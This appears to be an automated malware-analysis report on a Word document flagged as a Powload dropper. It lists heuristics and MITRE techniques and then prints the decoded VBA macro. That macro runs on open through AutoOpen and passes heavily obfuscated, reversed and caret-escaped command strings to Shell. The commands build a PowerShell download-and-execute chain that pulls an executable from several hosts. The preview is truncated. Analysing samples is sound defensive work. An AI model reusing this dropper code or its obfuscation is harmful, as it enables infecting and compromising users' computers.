MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro utilizes the Shell() function to execute a command constructed from concatenated strings, likely to download and run a second-stage payload. ClamAV detection further confirms its malicious nature as a dropper.
Heuristics 6
-
ClamAV: Doc.Dropper.Powload-6670768-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Powload-6670768-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5355 bytes |
SHA-256: 33f95b36c5c2c237ceca09dc2506b111dc661fb3ddc0d252149ae83ff494a0d0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "aBjOAjwzf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Hour "DdMk" + "F" + "iVN" + "RzH"
Hour "4799" + "126416238"
Hour "mivbIVr" + "BwtZnid" + "sfYjCEDZ" + "omHMQhkw"
VBA.Shell KeyString(8 + 3 + 10 + 12 + 34) + TmhiaViUi + lOIcAnZQju + GNmDQtiq + fBfChJwYFhQ + uahMjWoAzrS + FNdIdQYW, 89 - 89
Hour "1397" + "GEjQKiwsUCJn" + "tJ" + "zujX"
Hour "sSvZ" + "ICis"
End Sub
Attribute VB_Name = "haHCFdSC"
Function GNmDQtiq()
On _
Error _
Resume _
Next
Hour "VLpwRWzGo" + "G"
zbMUjNlRw = "md /V" + "^:/C" + Chr(0 + 0 + 5 + 1 + 28) + "^s" + "^e^t " + "^" + "Q" + "^JY" + "= ^ " + "^ " + "^ ^ ^" + " "
Hour "D" + "ccAMHKjPzHJQs" + "360465289" + "XP"
Hour "drb" + "Bs"
Hour "tfjJVIXKiZz" + "Ni"
Hour "1609" + "CLUP" + "308159987" + "PDQ"
atzaEHOR = " " + " ^" + " ^" + " }}" + "{" + "hc^" + "t^ac^}" + "^;^k^" + "aer^b^;" + "^a^LV^" + "$ ^"
Hour "q" + "jrvB" + "X" + "r"
Hour "BjpHKnHAPWj" + "JfS" + "204428665" + "Aq"
Hour "pRC" + "6141"
PAwEsiCdBF = "met^I" + "^" + "-^" + "ek^ov" + "n^I^;)" + "a^LV$^" + " ^,j^fJ" + "$(e" + "l^iF" + "^dao^l" + "n^w^o" + "D^.Xw^h" + "^${^y"
Hour "197048891" + "YzJR"
Hour "fzlZ" + "W" + "Rm" + "pCwMIkkzX"
Hour "lscFSfAqGhtnYP" + "S" + "501636654" + "CVPR"
Hour "7258" + "5916"
BURqw = "r" + "^t{)^h" + "DJ^$^ n" + "i" + "^ " + "^j" + "^f^" + "J^$(^hc" + "ae" + "ro"
Hour "445979032" + "14399214" + "oOMuKW" + "HITiqYbfOvPaw"
Hour "Jo" + "443117793"
YOdXtEl = "f;'^" + "e" + "^xe.'" + "+B^m^" + "t$^+'" + "^\'+c^" + "i^l^b" + "^up" + "^:v"
Hour "qqXHRuOMb" + "cRsr"
Hour "5845" + "kt" + "DUGYn" + "wnYZKJHa"
Hour "5839" + "uBTfiWP" + "iWRC" + "UzcCWvJi"
jJqwTkJtjwJ = "ne" + "$^=" + "^aLV$;'" + "31" + "^9' " + "^= " + "^B" + "^mt$"
Hour "OC" + "55642347" + "6974" + "1379"
Hour "253755875" + "vVoKQr" + "224533029" + "qpBNO"
Hour "LOzCPJqjPDG" + "LLKPHQK" + "RjO" + "HpmQMV"
HwYkqXSWMRr = ";)'^@'" + "(^t^i^l" + "^p" + "S." + "'Goh" + "CNG" + "^S/m^oc" + "^.x^" + "un" + "^il" + "mo//^"
Hour "ZWZU" + "MlWIMoUm"
Hour "TZLY" + "1059" + "FcYQSV" + "531490090"
Hour "V" + "XWSZOnrXf"
Hour "J" + "sWbz"
wdRHbFAcL = ":^p^" + "t^t^h" + "^@U" + "^AC2" + "r^9o" + "V6/lc^" + ".ru^o^" + "tan^a" + "^" + "m" + "//:"
Hour "zQbwpww" + "B"
Hour "cBdpRBMOM" + "1849" + "CfubaYXE" + "131654046"
Hour "zu" + "iGuWjRpjV" + "wb" + "aMuYBT"
Hour "10726056" + "EBLZNh"
hFsjKjwkP = "ptt^h" + "^@2^X^" + "X^6" + "S3^" + "66^S^e"
GNmDQtiq = zbMUjNlRw + atzaEHOR + PAwEsiCdBF + BURqw + YOdXtEl + jJqwTkJtjwJ + HwYkqXSWMRr + wdRHbFAcL + hFsjKjwkP
Hour "XiczWs" + "YwzwzK" + "7637" + "UGj"
Hour "nVNA" + "68" + "sOfMrS" + "1580"
Hour "jdXtYVi" + "2627"
Hour "kjVP" + "aDIPfiF" + "192533162" + "112768723"
End Function
Function fBfChJwYFhQ()
On _
Error _
Resume _
Next
Hour "aQ" + "330862088"
Hour "95814426" + "21663649" + "1657963" + "JzoHHMJiIEH"
Hour "980" + "k"
BNMsfmUjI = "/t" + "^" + "en.o^" + "gitn" + "oc^o^t" + "n^euc//" + ":pt^t^" + "h@G^2" + "n6^5^1^" + "3oXp/m^" + "o" + "c.^ssec" + "c^us^"
Hour "5452" + "diA" + "485330642" + "1992"
Hour "mYiTERYRNPPRXs" + "7487" + "fHQvIjFNaoaPi" + "f"
Hour "dFX" + "432975826" + "hnai" + "Or"
jHHpjRCz = "gn^i^l" + "^" + "l^es" + "^dl" + "^o^g//:" + "p^tt^h" + "^@u^M" + "^t^G^W" + "^1^hb^L" + "^J/" + "m^o" + "c.^42"
Hour "63972190" + "avw" + "AGt" + "ZL"
Hour "132194715" + "rzdd" + "NE" + "2673"
Hour "870" + "9392"
XrfmzTQE = "^dbnt" + "r" + "//^" + ":^pt" + "t^" + "h^'" + "^=^hD^"
Hour "8910" + "316067219"
Hour "18463863" + "Hf"
Hour "1784856" + "zPtwAIw"
Hour "EZKnD" + "uuk" + "dWFDCrwK" + "dhi"
Hour "223169812" + "p" + "iOHf" + "Rz"
Hour "4319" + "PpPT" + "3328" + "CIu"
IWjrj = "J" + "^$;^t" + "n^e^i" + "lCbe" + "W^.te" + "N ^tc^"
Hour "12080583
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.